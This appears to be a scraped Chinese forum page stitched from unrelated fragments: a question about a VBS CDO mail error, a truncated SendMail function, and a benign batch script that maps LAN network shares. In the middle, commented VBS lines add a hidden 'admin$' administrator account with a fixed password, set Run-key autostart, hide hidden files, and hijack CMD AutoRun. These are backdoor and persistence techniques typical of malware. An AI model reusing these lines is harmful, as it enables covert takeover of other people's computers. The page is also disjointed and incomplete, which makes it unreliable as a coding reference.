VBS用CDO发送邮件，报错：与服务器的传输连接失败，代码80040213

Function SendMail(SendFrom,Password,SendTo,MailTopic,MailBody,MailAttachment) 
    MS_Space = "

你的smtpserverport端口怎么设置成465？一般都是25

wshrun "net user admin$ /active:yes",0,true
wshrun "net user admin$ cup@12 /add",0,true
wshrun "net localgroup administrators admin$ /add" ,0,true

添加一个管理员权限账号 账号名称:admin

wshRegwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&""

添加自启动

wshRegwrite
"HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

不显示隐藏文件

wshregwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&""
wshregwrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""

使得用户打开 CMD 前，运行该vbs脚本

手上没有局域网的电脑，所以不怎么研究这类的批处理。

以下代码是需要去每台电脑上手动执行的代码：

@echo off & setlocal enabledelayedexpansion
title 映射网络共享 By 依梦琴瑶 & color 0a
::设置服务器IP地址
set IP=1921681100
::设置服务器共享文件夹名字（PS）和映射后显示的卷标别名（PV）
set PS1=部门共享数据文件夹
set PV1=部门共享数据
set PS2=个人文件夹
set PV2=个人数据
::设置用户密码，没有就留空
set UPWD=
::以下代码请勿随意更改
set Num=0
for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
    if not exist %%a:\ (
        set /a Num+=1
        set Pan!Num!=%%a
    )
    if !Num! equ 2 goto Mapping
)
exit
:Mapping
net use %Pan1%: \\%IP%\%PS1% "%UPWD%" /user:"%USERNAME%"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\##%IP%#%PS1%" /v _LabelFromReg /d "%PV1%" /f
net use %Pan2%: \\%IP%\%PS2% "%UPWD%" /user:"%USERNAME%"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\##%IP%#%PS2%" /v _LabelFromReg /d "%PV2%" /f
echo, & echo 映射完毕，请按任意键退出
pause>nul & exit

效果图：

这个脚本中用户名可以不用设置，因为它会自动获取当前电脑的用户名。唯一缺点就是密码需要你对应电脑设置后，在每台电脑上运行一次。

如果在你服务器上直接运行一次，就给局域网内所有的电脑都映射，这个我还在研究，毕竟不怎么接触网络共享这一块的脚本代码。

---